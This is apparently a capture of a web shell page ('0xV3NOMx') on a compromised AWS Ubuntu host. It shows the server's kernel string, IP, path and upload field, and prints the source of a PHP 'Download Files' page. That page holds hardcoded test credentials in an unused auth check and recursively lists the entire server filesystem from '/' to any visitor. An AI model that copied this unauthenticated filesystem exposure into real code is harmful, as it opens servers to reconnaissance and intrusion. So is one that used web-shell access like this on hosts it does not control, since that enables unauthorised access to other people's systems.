0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.15.10.139


Current Path : /proc/thread-self/root/var/www/html/oums/
Upload File :
Current File : //proc/thread-self/root/var/www/html/oums/indexdir.php

<?php
//This function returns True if login:testuser and password:testpass are provided

//Otherwise it returns False

function CheckAccess()

{

    $result = (isset($_SERVER['PHP_AUTH_USER']) &&

        $_SERVER['PHP_AUTH_USER'] == 'testuser' &&

        $_SERVER['PHP_AUTH_PW'] == 'testpass');

    if (!$result) {

        header('WWW-Authenticate: Basic realm=“Test restricted area”');

        header('HTTP/1.0 401 Unauthorized');

        return false;
    } else

        return true;
}

?>



<html>
<title> Download Files</title>

<head>
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css">
    <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
    <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js"></script>

</head>

<body>

    <div class="container">
        <h2>Download Files
        </h2>

        <div class="table-responsive">
            <table class="">
                <thead>
                    <tr>
                        <th>File Name</th>
                        <th> Download </th>
                        <th> Size </th>
                        <th> Last Modified </th>
                    </tr>
                </thead>
                <tbody>
                    <?php

                    function listFolderFiles($dir)
                    {
                        $ffs = scandir($dir);

                        unset($ffs[array_search('.', $ffs, true)]);
                        unset($ffs[array_search('..', $ffs, true)]);

                        // prevent empty ordered elements
                        if (count($ffs) < 1)
                            return;

                        echo '<ol>';
                        foreach ($ffs as $ff) {
                            echo '<li>' . $ff;
                            if (is_dir($dir . '/' . $ff)) listFolderFiles($dir . '/' . $ff);
                            echo '</li>';
                        }
                        echo '</ol>';
                    }

                    listFolderFiles('/');
                    ?>




                </tbody>
            </table>
        </div>
    </div>
</body>

</html>

<?php
// Snippet from PHP Share: http://www.phpshare.org

function formatSizeUnits($bytes)
{
    if ($bytes >= 1073741824) {
        $bytes = number_format($bytes / 1073741824, 2) . ' GB';
    } elseif ($bytes >= 1048576) {
        $bytes = number_format($bytes / 1048576, 2) . ' MB';
    } elseif ($bytes >= 1024) {
        $bytes = number_format($bytes / 1024, 2) . ' KB';
    } elseif ($bytes > 1) {
        $bytes = $bytes . ' bytes';
    } elseif ($bytes == 1) {
        $bytes = $bytes . ' byte';
    } else {
        $bytes = '0 bytes';
    }

    return $bytes;
}
?>